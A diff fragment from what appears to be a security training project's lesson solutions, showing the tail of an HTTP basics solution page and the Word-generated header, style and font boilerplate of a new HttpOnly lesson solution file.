<img src="lesson_solutions/HttpBasics_files/webscarab2.jpg">
|
||||
|
||||
<p class=MsoNormal><span style='font-size:8.0pt;font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
863
src/main/webapp/lesson_solutions_1/HttpOnly.html
Normal file
863
src/main/webapp/lesson_solutions_1/HttpOnly.html
Normal file
@ -0,0 +1,863 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/HttpOnly_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/HttpOnly_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>1195</o:TotalTime>
|
||||
<o:Created>2007-07-12T11:19:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:19:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>245</o:Words>
|
||||
<o:Characters>1399</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>11</o:Lines>
|
||||
<o:Paragraphs>3</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1641</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/HttpOnly_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/HttpOnly_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
h3
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 3 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:3;
|
||||
font-size:13.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
